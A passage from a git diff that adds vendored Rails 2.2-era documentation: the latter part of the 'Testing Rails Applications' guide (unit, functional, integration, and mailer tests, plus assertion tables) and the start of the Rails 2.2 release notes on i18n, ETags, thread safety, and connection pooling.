+Finished in 0.198093 seconds.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest)
+    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+Saved the post without a title.
+<false> is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors
+
+

Now to get this test to pass we can add a model level validation for the title field.

+
+
+
class Post < ActiveRecord::Base
+  validates_presence_of :title
+end
+
+

Now the test should pass. Let us verify by running the test again:

+
+
+
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.193608 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+
+

Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).

+
+ + + +
+Tip +Many Rails developers practice Test-Driven Development (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with 15 TDD steps to create a Rails application.
+
+

To see how an error gets reported, here's a test containing an error:

+
+
+
def test_should_report_error
+  # some_undefined_variable is not defined elsewhere in the test case
+  some_undefined_variable
+  assert true
+end
+
+

Now you can see even more output in the console from running the tests:

+
+
+
$ ruby unit/post_test.rb -n test_should_report_error
+Loaded suite unit/post_test
+Started
+E
+Finished in 0.195757 seconds.
+
+  1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8>
+    /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
+    unit/post_test.rb:16:in `test_should_report_error'
+    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
+
+1 tests, 0 assertions, 0 failures, 1 errors
+
+

Notice the E in the output. It denotes a test with error.

+
+ + + +
+Note +The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+
+

3.3. What to Include in Your Unit Tests

+

Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.

+

3.4. Assertions Available

+

By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

+

There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with test/unit, the testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Assertion + + Purpose +
+ assert( boolean, [msg] ) + + Ensures that the object/expression is true. +
+ assert_equal( obj1, obj2, [msg] ) + + Ensures that obj1 == obj2 is true. +
+ assert_not_equal( obj1, obj2, [msg] ) + + Ensures that obj1 == obj2 is false. +
+ assert_same( obj1, obj2, [msg] ) + + Ensures that obj1.equal?(obj2) is true. +
+ assert_not_same( obj1, obj2, [msg] ) + + Ensures that obj1.equal?(obj2) is false. +
+ assert_nil( obj, [msg] ) + + Ensures that obj.nil? is true. +
+ assert_not_nil( obj, [msg] ) + + Ensures that obj.nil? is false. +
+ assert_match( regexp, string, [msg] ) + + Ensures that a string matches the regular expression. +
+ assert_no_match( regexp, string, [msg] ) + + Ensures that a string doesn't matches the regular expression. +
+ assert_in_delta( expecting, actual, delta, [msg] ) + + Ensures that the numbers expecting and actual are within delta of each other. +
+ assert_throws( symbol, [msg] ) { block } + + Ensures that the given block throws the symbol. +
+ assert_raises( exception1, exception2, … ) { block } + + Ensures that the given block raises one of the given exceptions. +
+ assert_nothing_raised( exception1, exception2, … ) { block } + + Ensures that the given block doesn't raise one of the given exceptions. +
+ assert_instance_of( class, obj, [msg] ) + + Ensures that obj is of the class type. +
+ assert_kind_of( class, obj, [msg] ) + + Ensures that obj is or descends from class. +
+ assert_respond_to( obj, symbol, [msg] ) + + Ensures that obj has a method called symbol. +
+ assert_operator( obj1, operator, obj2, [msg] ) + + Ensures that obj1.operator(obj2) is true. +
+ assert_send( array, [msg] ) + + Ensures that executing the method listed in array[1] on the object in array[0] with the parameters of array[2 and up] is true. This one is weird eh? +
+ flunk( [msg] ) + + Ensures failure. This is useful to explicitly mark a test that isn't finished yet. +
+
+

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.

+
+ + + +
+Note +Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+

3.5. Rails Specific Assertions

+

Rails adds some custom assertions of its own to the test/unit framework:

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Assertion + + Purpose +
+ assert_valid(record) + + Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not. +
+ assert_difference(expressions, difference = 1, message = nil) {|| …} + + Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block. +
+ assert_no_difference(expressions, message = nil, &block) + + Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block. +
+ assert_recognizes(expected_options, path, extras={}, message=nil) + + Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options. +
+ assert_generates(expected_path, options, defaults={}, extras = {}, message=nil) + + Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures. +
+ assert_response(type, message = nil) + + Asserts that the response comes with a specific status code. You can specify :success to indicate 200, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range +
+ assert_redirected_to(options = {}, message=nil) + + Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that assert_redirected_to(:controller ⇒ "weblog") will also match the redirection of redirect_to(:controller ⇒ "weblog", :action ⇒ "show") and so on. +
+ assert_template(expected = nil, message=nil) + + Asserts that the request was rendered with the appropriate template file. +
+
+

You'll see the usage of some of these assertions in the next chapter.

+
+

4. Functional Tests for Your Controllers

+
+

In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.

+

4.1. What to include in your Functional Tests

+

You should test for things such as:

+
    +
  • +

    +was the web request successful? +

    +
  • +
  • +

    +was the user redirected to the right page? +

    +
  • +
  • +

    +was the user successfully authenticated? +

    +
  • +
  • +

    +was the correct object stored in the response template? +

    +
  • +
  • +

    +was the appropriate message displayed to the user in the view +

    +
  • +
+

Now that we have used Rails scaffold generator for our Post resource, it has already created the controller code and functional tests. You can take look at the file posts_controller_test.rb in the test/functional directory.

+

Let me take you through one such test, test_should_get_index from the file posts_controller_test.rb.

+
+
+
def test_should_get_index
+  get :index
+  assert_response :success
+  assert_not_nil assigns(:posts)
+end
+
+

In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid posts instance variable.

+

The get method kicks off the web request and populates the results into the response. It accepts 4 arguments:

+
    +
  • +

    +The action of the controller you are requesting. This can be in the form of a string or a symbol. +

    +
  • +
  • +

    +An optional hash of request parameters to pass into the action (eg. query string parameters or post variables). +

    +
  • +
  • +

    +An optional hash of session variables to pass along with the request. +

    +
  • +
  • +

    +An optional hash of flash values. +

    +
  • +
+

Example: Calling the :show action, passing an id of 12 as the params and setting a user_id of 5 in the session:

+
+
+
get(:show, {'id' => "12"}, {'user_id' => 5})
+
+

Another example: Calling the :view action, passing an id of 12 as the params, this time with no session, but with a flash message.

+
+
+
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+
+
+ + + +
+Note +If you try running test_should_create_post test from posts_controller_test.rb it will fail on account of the newly added model level validation and rightly so.
+
+

Let us modify test_should_create_post test in posts_controller_test.rb so that all our test pass:

+
+
+
def test_should_create_post
+  assert_difference('Post.count') do
+    post :create, :post => { :title => 'Some title'}
+  end
+
+  assert_redirected_to post_path(assigns(:post))
+end
+
+

Now you can try running all the tests and they should pass.

+

4.2. Available Request Types for Functional Tests

+

If you're familiar with the HTTP protocol, you'll know that get is a type of request. There are 5 request types supported in Rails functional tests:

+
    +
  • +

    +get +

    +
  • +
  • +

    +post +

    +
  • +
  • +

    +put +

    +
  • +
  • +

    +head +

    +
  • +
  • +

    +delete +

    +
  • +
+

All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.

+

4.3. The 4 Hashes of the Apocalypse

+

After a request has been made by using one of the 5 methods (get, post, etc.) and processed, you will have 4 Hash objects ready for use:

+
    +
  • +

    +assigns - Any objects that are stored as instance variables in actions for use in views. +

    +
  • +
  • +

    +cookies - Any cookies that are set. +

    +
  • +
  • +

    +flash - Any objects living in the flash. +

    +
  • +
  • +

    +session - Any object living in session variables. +

    +
  • +
+

As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for assigns. For example:

+
+
+
  flash["gordon"]               flash[:gordon]
+  session["shmession"]          session[:shmession]
+  cookies["are_good_for_u"]     cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+  assigns["something"]          assigns(:something)
+
+

4.4. Instance Variables Available

+

You also have access to three instance variables in your functional tests:

+
    +
  • +

    +@controller - The controller processing the request +

    +
  • +
  • +

    +@request - The request +

    +
  • +
  • +

    +@response - The response +

    +
  • +
+

4.5. A Fuller Functional Test Example

+

Here's another example that uses flash, assert_redirected_to, and assert_difference:

+
+
+
def test_should_create_post
+  assert_difference('Post.count') do
+    post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
+  end
+  assert_redirected_to post_path(assigns(:post))
+  assert_equal 'Post was successfully created.', flash[:notice]
+end
+
+

4.6. Testing Views

+

Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The assert_select assertion allows you to do this by using a simple yet powerful syntax.

+
+ + + +
+Note +You may find references to assert_tag in other documentation, but this is now deprecated in favor of assert_select.
+
+

There are two forms of assert_select:

+

assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an HTML::Selector object.

+

assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of HTML::Node) and its descendants.

+

For example, you could verify the contents on the title element in your response with:

+
+
+
assert_select 'title', "Welcome to Rails Testing Guide"
+
+

You can also use nested assert_select blocks. In this case the inner assert_select will run the assertion on each element selected by the outer assert_select block:

+
+
+
assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+
+

The assert_select assertion is quite powerful. For more advanced usage, refer to its documentation.

+

4.6.1. Additional View-based Assertions

+

There are more assertions that are primarily used in testing views:

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + +
+ Assertion + + Purpose +
+ assert_select_email + + Allows you to make assertions on the body of an e-mail. +
+ assert_select_rjs + + Allows you to make assertions on RJS response. assert_select_rjs has variants which allow you to narrow down on the updated element or even a particular operation on an element. +
+ assert_select_encoded + + Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements. +
+ css_select(selector) or css_select(element, selector) + + Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array. +
+
+

Here's an example of using assert_select_email:

+
+
+
assert_select_email do
+  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+
+
+

5. Integration Testing

+
+

Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.

+

Unlike Unit and Functional tests, integration tests have to be explicitly created under the test/integration folder within your application. Rails provides a generator to create an integration test skeleton for you.

+
+
+
$ script/generate integration_test user_flows
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+
+

Here's what a freshly-generated integration test looks like:

+
+
+
require 'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+  # fixtures :your, :models
+
+  # Replace this with your real tests.
+  def test_truth
+    assert true
+  end
+end
+
+

Integration tests inherit from ActionController::IntegrationTest. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.

+

5.1. Helpers Available for Integration tests

+

In addition to the standard testing helpers, there are some additional helpers available to integration tests:

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Helper + + Purpose +
+ https? + + Returns true if the session is mimicking a secure HTTPS request. +
+ https! + + Allows you to mimic a secure HTTPS request. +
+ host! + + Allows you to set the host name to use in the next request. +
+ redirect? + + Returns true if the last request was a redirect. +
+ follow_redirect! + + Follows a single redirect response. +
+ request_via_redirect(http_method, path, [parameters], [headers]) + + Allows you to make an HTTP request and follow any subsequent redirects. +
+ post_via_redirect(path, [parameters], [headers]) + + Allows you to make an HTTP POST request and follow any subsequent redirects. +
+ get_via_redirect(path, [parameters], [headers]) + + Allows you to make an HTTP GET request and follow any subsequent redirects. +
+ put_via_redirect(path, [parameters], [headers]) + + Allows you to make an HTTP PUT request and follow any subsequent redirects. +
+ delete_via_redirect(path, [parameters], [headers]) + + Allows you to make an HTTP DELETE request and follow any subsequent redirects. +
+ open_session + + Opens a new session instance. +
+
+

5.2. Integration Testing Examples

+

A simple integration test that exercises multiple controllers:

+
+
+
require 'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+  fixtures :users
+
+  def test_login_and_browse_site
+    # login via https
+    https!
+    get "/login"
+    assert_response :success
+
+    post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
+    assert_equal '/welcome', path
+    assert_equal 'Welcome avs!', flash[:notice]
+
+    https!(false)
+    get "/posts/all"
+    assert_response :success
+    assert assigns(:products)
+  end
+end
+
+

As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.

+

Here's an example of multiple sessions and custom DSL in an integration test

+
+
+
require 'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+  fixtures :users
+
+  def test_login_and_browse_site
+
+    # User avs logs in
+    avs = login(:avs)
+    # User guest logs in
+    guest = login(:guest)
+
+    # Both are now available in different sessions
+    assert_equal 'Welcome avs!', avs.flash[:notice]
+    assert_equal 'Welcome guest!', guest.flash[:notice]
+
+    # User avs can browse site
+    avs.browses_site
+    # User guest can browse site aswell
+    guest.browses_site
+
+    # Continue with other assertions
+  end
+
+  private
+
+    module CustomDsl
+      def browses_site
+        get "/products/all"
+        assert_response :success
+        assert assigns(:products)
+      end
+    end
+
+    def login(user)
+      open_session do |sess|
+        sess.extend(CustomDsl)
+        u = users(user)
+        sess.https!
+        sess.post "/login", :username => u.username, :password => u.password
+        assert_equal '/welcome', path
+        sess.https!(false)
+      end
+    end
+end
+
+
+

6. Rake Tasks for Running your Tests

+
+

You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.

+

--------------------------------`---------------------------------------------------- +Tasks Description

+
+
+
+rake test+                     Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
++rake test:units+               Runs all the unit tests from +test/unit+
++rake test:functionals+         Runs all the functional tests from +test/functional+
++rake test:integration+         Runs all the integration tests from +test/integration+
++rake test:recent+              Tests recent changes
++rake test:uncommitted+         Runs all the tests which are uncommitted. Only supports Subversion
++rake test:plugins+             Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
+
+
+

7. Brief Note About Test::Unit

+
+

Ruby ships with a boat load of libraries. One little gem of a library is Test::Unit, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in Test::Unit::Assertions. The class ActiveSupport::TestCase which we have been using in our unit and functional tests extends Test::Unit::TestCase that it is how we can use all the basic assertions in our tests.

+
+ + + +
+Note +For more information on Test::Unit, refer to test/unit Documentation
+
+
+

8. Setup and Teardown

+
+

If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in Posts controller:

+
+
+
require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  def setup
+    @post = posts(:one)
+  end
+
+  # called after every single test
+  def teardown
+    # as we are re-initializing @post before every test
+    # setting it to nil here is not essential but I hope
+    # you understand how you can use the teardown method
+    @post = nil
+  end
+
+  def test_should_show_post
+    get :show, :id => @post.id
+    assert_response :success
+  end
+
+  def test_should_destroy_post
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id => @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+end
+
+

Above, the setup method is called before each test and so @post is available for each of the tests. Rails implements setup and teardown as ActiveSupport::Callbacks. Which essentially means you need not only use setup and teardown as methods in your tests. You could specify them by using:

+
    +
  • +

    +a block +

    +
  • +
  • +

    +a method (like in the earlier example) +

    +
  • +
  • +

    +a method name as a symbol +

    +
  • +
  • +

    +a lambda +

    +
  • +
+

Let's see the earlier example by specifying setup callback by specifying a method name as a symbol:

+
+
+
require '../test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  setup :initialize_post
+
+  # called after every single test
+  def teardown
+    @post = nil
+  end
+
+  def test_should_show_post
+    get :show, :id => @post.id
+    assert_response :success
+  end
+
+  def test_should_update_post
+    put :update, :id => @post.id, :post => { }
+    assert_redirected_to post_path(assigns(:post))
+  end
+
+  def test_should_destroy_post
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id => @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+  private
+
+  def initialize_post
+    @post = posts(:one)
+  end
+
+end
+
+
+

9. Testing Routes

+
+

Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default show action of Posts controller above should look like:

+
+
+
def test_should_route_to_post
+  assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
+end
+
+
+

10. Testing Your Mailers

+
+

Testing mailer classes requires some specific tools to do a thorough job.

+

10.1. Keeping the Postman in Check

+

Your ActionMailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.

+

The goals of testing your ActionMailer classes are to ensure that:

+
    +
  • +

    +emails are being processed (created and sent) +

    +
  • +
  • +

    +the email content is correct (subject, sender, body, etc) +

    +
  • +
  • +

    +the right emails are being sent at the right times +

    +
  • +
+

10.1.1. From All Sides

+

There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture — yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

+

10.2. Unit Testing

+

In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

+

10.2.1. Revenge of the Fixtures

+

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.

+

When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.

+

10.2.2. The Basic Test case

+

Here's a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.

+
+
+
require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+  tests UserMailer
+  def test_invite
+    @expected.from    = 'me@example.com'
+    @expected.to      = 'friend@example.com'
+    @expected.subject = "You have been invited by #{@expected.from}"
+    @expected.body    = read_fixture('invite')
+    @expected.date    = Time.now
+
+    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
+  end
+
+end
+
+

In this test, @expected is an instance of TMail::Mail that you can use in your tests. It is defined in ActionMailer::TestCase. The test above uses @expected to construct an email, which it then asserts with email created by the custom mailer. The invite fixture is the body of the email and is used as the sample content to assert against. The helper read_fixture is used to read in the content from this file.

+

Here's the content of the invite fixture:

+
+
+
Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+
+

This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).

+

However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.

+

10.3. Functional Testing

+

Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:

+
+
+
require 'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+  def test_invite_friend
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post :invite_friend, :email => 'friend@example.com'
+    end
+    invite_email = ActionMailer::Base.deliveries.first
+
+    assert_equal invite_email.subject, "You have been invited by me@example.com"
+    assert_equal invite_email.to[0], 'friend@example.com'
+    assert_match /Hi friend@example.com/, invite_email.body
+  end
+end
+
+
+

11. Other Testing Approaches

+
+

The built-in test/unit based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:

+
    +
  • +

    +NullDB, a way to speed up testing by avoiding database use. +

    +
  • +
  • +

    +Factory Girl, as replacement for fixtures. +

    +
  • +
  • +

    +Shoulda, an extension to test/unit with additional helpers, macros, and assertions. +

    +
  • +
  • +

    +link: RSpec, a behavior-driven development framework +

    +
  • +
+
+

12. Changelog

+
+ +
    +
  • +

    +November 13, 2008: Revised based on feedback from Pratik Naik by Akshay Surve (not yet approved for publication) +

    +
  • +
  • +

    +October 14, 2008: Edit and formatting pass by Mike Gunderloy (not yet approved for publication) +

    +
  • +
  • +

    +October 12, 2008: First draft by Akshay Surve (not yet approved for publication) +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt b/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt new file mode 100644 index 00000000..2f1a7ebb --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt @@ -0,0 +1,435 @@ +Ruby on Rails 2.2 Release Notes +=============================== + +Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub. + +Along with Rails, 2.2 marks the launch of the link:http://guides.rubyonrails.org/[Ruby on Rails Guides], the first results of the ongoing link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]. This site will deliver high-quality documentation of the major features of Rails. + +== Infrastructure + +Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world. + +=== Internationalization + +Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing). + +* Lead Contributors: Rails i18 Team +* More information : + - link:http://rails-i18n.org[Official Rails i18 website] + - link:http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized[Finally. Ruby on Rails gets internationalized] + - link:http://i18n-demo.phusion.nl[Localizing Rails : Demo application] + +=== Compatibility with Ruby 1.9 and JRuby + +Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released. + +== Documentation + +The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the link:http://guides.rubyonrails.org/[Ruby on Rails Guides] project is the definitive source for information on major Rails components. In its first official release, the Guides page includes: + +* link:http://guides.rubyonrails.org/getting_started_with_rails.html[Getting Started with Rails] +* link:http://guides.rubyonrails.org/migrations.html[Rails Database Migrations] +* link:http://guides.rubyonrails.org/association_basics.html[Active Record Associations] +* link:http://guides.rubyonrails.org/finders.html[Active Record Finders] +* link:http://guides.rubyonrails.org/layouts_and_rendering.html[Layouts and Rendering in Rails] +* link:http://guides.rubyonrails.org/form_helpers.html[Action View Form Helpers] +* link:http://guides.rubyonrails.org/routing_outside_in.html[Rails Routing from the Outside In] +* link:http://guides.rubyonrails.org/actioncontroller_basics.html[Basics of Action Controller] +* link:http://guides.rubyonrails.org/caching_with_rails.html[Rails Caching] +* link:http://guides.rubyonrails.org/testing_rails_applications.html[Testing Rails Applications] +* link:http://guides.rubyonrails.org/security.html[Securing Rails Applications] +* link:http://guides.rubyonrails.org/debugging_rails_applications.html[Debugging Rails Applications] +* link:http://guides.rubyonrails.org/benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications] +* link:http://guides.rubyonrails.org/creating_plugins.html[The Basics of Creating Rails Plugins] + +All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers. + +If you want to generate these guides locally, inside your application: + +[source, ruby] +------------------------------------------------------- +rake doc:guides +------------------------------------------------------- + +This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser. + +* Lead Contributors: link:http://guides.rails.info/authors.html[Rails Documentation Team] +* Major contributions from link:http://advogato.org/person/fxn/diary.html[Xavier Noria] and link:http://izumi.plan99.net/blog/[Hongli Lai]. +* More information: + - link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] + - link:http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch[Help improve Rails documentation on Git branch] + +== Better integration with HTTP : Out of the box ETag support + +Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all. + +[source, ruby] +------------------------------------------------------- +class ArticlesController < ApplicationController + def show_with_respond_to_block + @article = Article.find(params[:id]) + + # If the request sends headers that differs from the options provided to stale?, then + # the request is indeed stale and the respond_to block is triggered (and the options + # to the stale? call is set on the response). + # + # If the request headers match, then the request is fresh and the respond_to block is + # not triggered. Instead the default render will occur, which will check the last-modified + # and etag headers and conclude that it only needs to send a "304 Not Modified" instead + # of rendering the template. + if stale?(:last_modified => @article.published_at.utc, :etag => @article) + respond_to do |wants| + # normal response processing + end + end + end + + def show_with_implied_render + @article = Article.find(params[:id]) + + # Sets the response headers and checks them against the request, if the request is stale + # (i.e. no match of either etag or last-modified), then the default render of the template happens. + # If the request is fresh, then the default render will return a "304 Not Modified" + # instead of rendering the template. + fresh_when(:last_modified => @article.published_at.utc, :etag => @article) + end +end +------------------------------------------------------- + +== Thread Safety + +The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores. + +To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+: + +[source, ruby] +------------------------------------------------------- +config.threadsafe! +------------------------------------------------------- + +* More information : + - link:http://m.onkey.org/2008/10/23/thread-safety-for-your-rails[Thread safety for your Rails] + - link:http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core[Thread safety project announcement] + - link:http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html[Q/A: What Thread-safe Rails Means] + +== Active Record + +There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements. + +=== Transactional Migrations + +Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter. + +* Lead Contributor: link:http://adam.blog.heroku.com/[Adam Wiggins] +* More information: + - link:http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/[DDL Transactions] + - link:http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/[A major milestone for DB2 on Rails] + +=== Connection Pooling + +Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it. + +[source, ruby] +------------------------------------------------------- +development: + adapter: mysql + username: root + database: sample_development + pool: 10 + wait_timeout: 10 +------------------------------------------------------- + +* Lead Contributor: link:http://blog.nicksieger.com/[Nick Sieger] +* More information: + - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools[What's New in Edge Rails: Connection Pools] + +=== Hashes for Join Table Conditions + +You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins. + +[source, ruby] +------------------------------------------------------- +class Photo < ActiveRecord::Base + belongs_to :product +end + +class Product < ActiveRecord::Base + has_many :photos +end + +# Get all products with copyright-free photos: +Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }}) +------------------------------------------------------- + +* More information: + - link:http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions[What's New in Edge Rails: Easy Join Table Conditions] + +=== New Dynamic Finders 